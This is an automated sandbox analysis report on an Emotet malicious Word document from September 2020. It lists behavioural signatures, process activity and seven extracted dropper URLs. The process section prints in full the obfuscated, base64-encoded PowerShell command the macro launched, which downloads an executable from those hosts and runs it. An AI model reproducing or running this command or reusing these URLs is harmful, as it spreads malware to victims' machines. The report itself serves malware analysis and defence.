Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    69s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    16/09/2020, 09:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_41a035835264e22d0533d34539e7ae0db8573b8b7bb013a5ad3fddfc6965884c_2020-09-16__093821._doc.doc
  • Size 193KB
  • Sample200916-e7v8xvt6an
  • SHA256 41a035835264e22d0533d34539e7ae0db8573b8b7bb013a5ad3fddfc6965884c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://boys86.com/wp-admin/mO/
  • exe.dropper

    http://dacyclin.com/3qx/Z/
  • exe.dropper

    https://fepami.com/wp-includes/oRT/
  • exe.dropper

    https://xnxxfullhd.com/wp-admin/NAK/
  • exe.dropper

    https://www.business-management-degree.net/wp-snapshots/W/
  • exe.dropper

    http://homestay.design/wordpress/M/
  • exe.dropper

    https://csc-comunity.com/wp-admin/6DW/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_41a035835264e22d0533d34539e7ae0db8573b8b7bb013a5ad3fddfc6965884c_2020-09-16__093821._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1588
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABNAHEAdgBiADUAZQByAD0AKAAoACcATwAnACsAJwBxAHIAZABfACcAKQArACcAMQAnACsAJwB2ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAUgBwAHIAbwBmAGkATABFAFwARgBZADYAaQBSAF8AdwBcAGIARAA4AEoAXwA0ADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBJAHQAWQBwAFIATwBgAFQAbwBDAGAATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKwAnACwAJwApACsAJwAgAHQAJwArACcAbAAnACsAKAAnAHMAMQAnACsAJwAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEMAZABuAGsAagB3AGEAIAA9ACAAKAAoACcARQAwACcAKwAnAGMANgB2ACcAKQArACcAZwBnACcAKQA7ACQAQQBwADMAdwA4ADkAOQA9ACgAKAAnAEoAJwArACcAMQA0ACcAKQArACcANABiACcAKwAnADAAeQAnACkAOwAkAEcAeABqADUAMQA1AGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ARgAnACsAJwB5ACcAKwAnADYAaQAnACsAJwByAF8AdwB7ADAAfQBCACcAKwAoACcAZAA4AGoAXwA0ACcAKwAnADEAJwApACsAJwB7ADAAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAEMAZABuAGsAagB3AGEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEUAbwB5AGIAdABzADYAPQAoACgAJwBOACcAKwAnAHIAZABhADEANwAnACkAKwAnAGMAJwApADsAJABDADcAZQA0AHkAZAA5AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcAZQBiAGMATABpAGUAbgBUADsAJABHADIAbgB2AGgAbQBfAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvACcAKwAnAC8AYgBvACcAKQArACcAeQBzACcAKwAoACcAOAA2AC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAJwArACcAbgAvAG0AJwApACsAKAAnAE8ALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAoACcAdABwADoALwAvACcAKwAnAGQAYQBjACcAKwAnAHkAJwArACcAYwAnACsAJwBsAGkAbgAuAGMAbwBtAC8AMwAnACsAJwBxAHgAJwArACcALwAnACkAKwAnAFoAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAnADoAJwArACgAJwAvAC8AZgBlACcAKwAnAHAAJwApACsAKAAnAGEAJwArACcAbQBpAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGkAbgBjAGwAdQAnACsAJwBkACcAKQArACgAJwBlAHMALwBvAFIAVAAvACcAKwAnACoAaAAnACsAJwB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHgAbgAnACsAKAAnAHgAJwArACcAeABmACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAbABoACcAKQArACgAJwBkACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwAnACkAKwAoACcATgAnACsAJwBBACcAKwAnAEsALwAqAGgAdAB0AHAAcwAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AJwArACgAJwBiACcAKwAnAHUAcwBpACcAKQArACcAbgAnACsAKAAnAGUAcwBzACcAKwAnAC0AJwApACsAKAAnAG0AJwArACcAYQBuACcAKwAnAGEAZwBlAG0AZQBuAHQALQBkACcAKwAnAGUAZwAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAKAAnAC4AJwArACcAbgBlACcAKQArACgAJwB0AC8AdwAnACsAJwBwAC0AJwApACsAKAAnAHMAbgAnACsAJwBhACcAKQArACgAJwBwACcAKwAnAHMAaABvAHQAcwAvAFcAJwArACcALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBoAG8AbQBlAHMAdABhAHkAJwArACcALgAnACsAJwBkACcAKQArACcAZQBzACcAKwAnAGkAJwArACcAZwAnACsAJwBuACcAKwAnAC8AJwArACcAdwAnACsAKAAnAG8AcgBkACcAKwAnAHAAJwArACcAcgBlAHMAcwAvAE0AJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBjACcAKwAnAHMAJwApACsAKAAnAGMALQBjAG8AJwArACcAbQB1AG4AJwArACcAaQAnACsAJwB0AHkALgAnACkAKwAoACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAJwAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwApACsAJwA2ACcAKwAoACcARAAnACsAJwBXAC8AJwApACkALgAiAFMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBtAGEAcABuADcAdAA9ACgAJwBOACcAKwAoACcAZgAyAGsAOAA0ACcAKwAnAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAGcAcgBrAHMAcQBvACAAaQBuACAAJABHADIAbgB2AGgAbQBfACkAewB0AHIAeQB7ACQAQwA3AGUANAB5AGQAOQAuACIAZABvAGAAVwBuAGAATABPAEEAZABGAEkAYABMAEUAIgAoACQAQgBnAHIAawBzAHEAbwAsACAAJABHAHgAagA1ADEANQBoACkAOwAkAEgAMAB5AGcAcwBmADEAPQAoACgAJwBPACcAKwAnAHAAZABxACcAKQArACgAJwA2ADgAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAHgAagA1ADEANQBoACkALgAiAGwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMgA5ADUAMgA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEcAeABqADUAMQA1AGgAKQA7ACQATgB0AHoAMABqADEAbAA9ACgAKAAnAEIAJwArACcAdABuACcAKQArACgAJwAyAHYAcQAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABYADEAMgBpADcANABlAD0AKAAoACcATQA2ADAAJwArACcANABjACcAKQArACcAMwAnACsAJwB3ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwB4AG8AagAxAGkAYgA9ACgAKAAnAEoAbAAnACsAJwBxACcAKQArACgAJwB3AG0AJwArACcAMwBfACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1632

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1588-2-0x0000000008A40000-0x0000000008A44000-memory.dmp
        Download

        memory/1588-3-0x0000000006E80000-0x0000000007080000-memory.dmp
        Download

        memory/1588-5-0x0000000006E80000-0x0000000007080000-memory.dmp
        Download

        memory/1632-6-0x000007FEE86D0000-0x000007FEE90BC000-memory.dmp
        Download

        memory/1632-7-0x0000000002350000-0x0000000002351000-memory.dmp
        Download

        memory/1632-8-0x000000001AB90000-0x000000001AB91000-memory.dmp
        Download

        memory/1632-9-0x00000000024D0000-0x00000000024D1000-memory.dmp
        Download

        memory/1632-10-0x00000000023A0000-0x00000000023A1000-memory.dmp
        Download

        memory/1632-11-0x000000001B440000-0x000000001B441000-memory.dmp
        Download

        memory/1632-12-0x000000001B770000-0x000000001B771000-memory.dmp
        Download